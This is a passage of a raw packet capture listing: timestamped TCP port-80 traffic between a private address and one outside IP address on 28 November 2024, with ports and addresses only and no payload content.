Nov 28, 2024 11:05:06.377201080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.377211094 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.377250910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.426399946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.426424026 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.426522970 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.427079916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.427129030 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.427158117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.427201986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.429027081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.429070950 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.429076910 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.429111958 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.431092024 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.431152105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.431207895 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.431248903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.433196068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.433242083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.433253050 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.433294058 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.434979916 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.435036898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.435050964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.435091972 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.436929941 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.436995029 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.437016964 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.437060118 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.438911915 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.438966990 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.438990116 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.439028025 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.440857887 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.440907955 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.440957069 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.440995932 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.442837000 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.442883015 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.442899942 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.442925930 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.444732904 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.444793940 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.444799900 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.444844007 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.446582079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.446640968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.446721077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.446763992 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.448417902 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.448470116 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.448550940 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.448594093 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.450150013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.450217962 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.450227976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.450269938 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.451945066 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.451998949 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.452039957 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.452085018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.453655958 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.453689098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.453723907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.453737974 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.455219030 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.455270052 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.455306053 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.455348015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.456866026 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.456923962 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.456975937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.457017899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.458499908 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.458559990 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.458605051 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.458646059 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.460130930 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.460180044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.460227013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.460267067 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.461692095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.461751938 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.461779118 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.461819887 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.463242054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.463293076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.493072033 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.493092060 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.493149996 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.493174076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.493563890 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.493607998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.493740082 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.493779898 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.494713068 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.494760036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.494859934 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.494900942 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.495831013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.495873928 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.495891094 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.495929956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.496946096 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.496994972 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.497015953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.497061014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.498049021 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.498102903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.498233080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.498279095 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.499147892 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.499198914 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.499255896 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.499300003 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.500276089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.500358105 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.500392914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.500471115 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.501354933 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.501400948 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.501462936 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.501506090 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.502451897 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.502501965 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.502569914 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.502614975 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.503773928 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.503829956 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.503951073 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.503997087 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.504614115 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.504661083 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.504722118 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.504766941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.505723953 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.505769968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.505820036 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.505861998 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.506807089 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.506859064 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.506980896 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.507023096 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.507932901 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.507982969 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.508008957 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.508054018 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.508980989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.509044886 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.509089947 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.509133101 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.510184050 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.510210037 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.510255098 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.510288954 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.511179924 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.511234045 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.511337042 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.511379004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.512269020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.512351036 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.512495041 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.512533903 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.513376951 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.513427019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.513515949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.513562918 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.550580978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.550601959 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.550646067 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.550683022 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.551093102 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.551136017 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.551170111 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.551208973 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.551959991 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.552002907 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.552045107 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.552084923 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.553195000 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.553237915 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.553287983 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.553327084 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.554186106 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.554214954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.554234028 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.554255009 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.555258989 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.555291891 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.555305958 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.555332899 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.556318998 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.556368113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.556525946 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.556561947 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.557425976 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.557495117 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.557532072 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.557573080 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.558520079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.558578014 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.558583021 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.558626890 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.559582949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.559631109 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.559659958 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.559700966 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.560695887 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.560745955 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.618298054 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.618315935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.618361950 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.618391991 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.618731022 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.618771076 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.618901014 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.618938923 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.619000912 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.619036913 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.619999886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.620043039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.620059013 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.620095015 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.621068954 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.621109962 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.621144056 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.621187925 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.622167110 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.622215986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.622267962 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.622308016 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.623233080 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.623279095 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.623330116 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.623378038 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.624380112 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.624422073 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.624450922 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.624486923 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.625488043 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.625536919 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.625566959 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.625605106 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.626526117 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.626574039 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.626611948 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.626651049 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.627609015 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.627655029 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.627690077 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.627724886 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.628688097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.628736973 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.628772020 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.628814936 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.629798889 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.629870892 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.629939079 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.629977942 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.630865097 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.630914927 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.630966902 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.631010056 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.631993055 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.632042885 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.632101059 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.632141113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.633091927 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.633137941 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.633275986 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.633321047 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.634150982 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.634243965 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.634273052 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.634315968 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.635257959 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.635302067 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.635355949 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.635400057 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.636331081 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.636377096 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.636437893 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.636482000 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.637432098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.637478113 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.637535095 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.637579918 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.638534069 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.638586044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.638643026 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.638684988 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.639636993 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.639686108 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.639715910 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.639754057 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.640786886 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.640841961 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.640882969 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.640925884 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.641880035 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.641927004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.642028093 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.642087936 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.642925978 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.642972946 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.685257912 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.685370922 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.685416937 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.685461044 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.685504913 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.685519934 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.685549974 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.685573101 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.686459064 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.686513901 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.686630011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.686676979 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.687402010 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.687479973 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.687551022 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.687599897 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.688329935 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.688379049 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.688443899 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.688486099 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.689260960 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.689368010 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.689399004 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.689445019 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.690277100 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.690327883 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.690357924 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.690401077 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.691195011 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.691246986 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.691319942 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.691365004 CET	49702	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:06.692207098 CET	80	49702	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:06.692255020 CET	49702	80	192.168.2.7	185.215.113.206
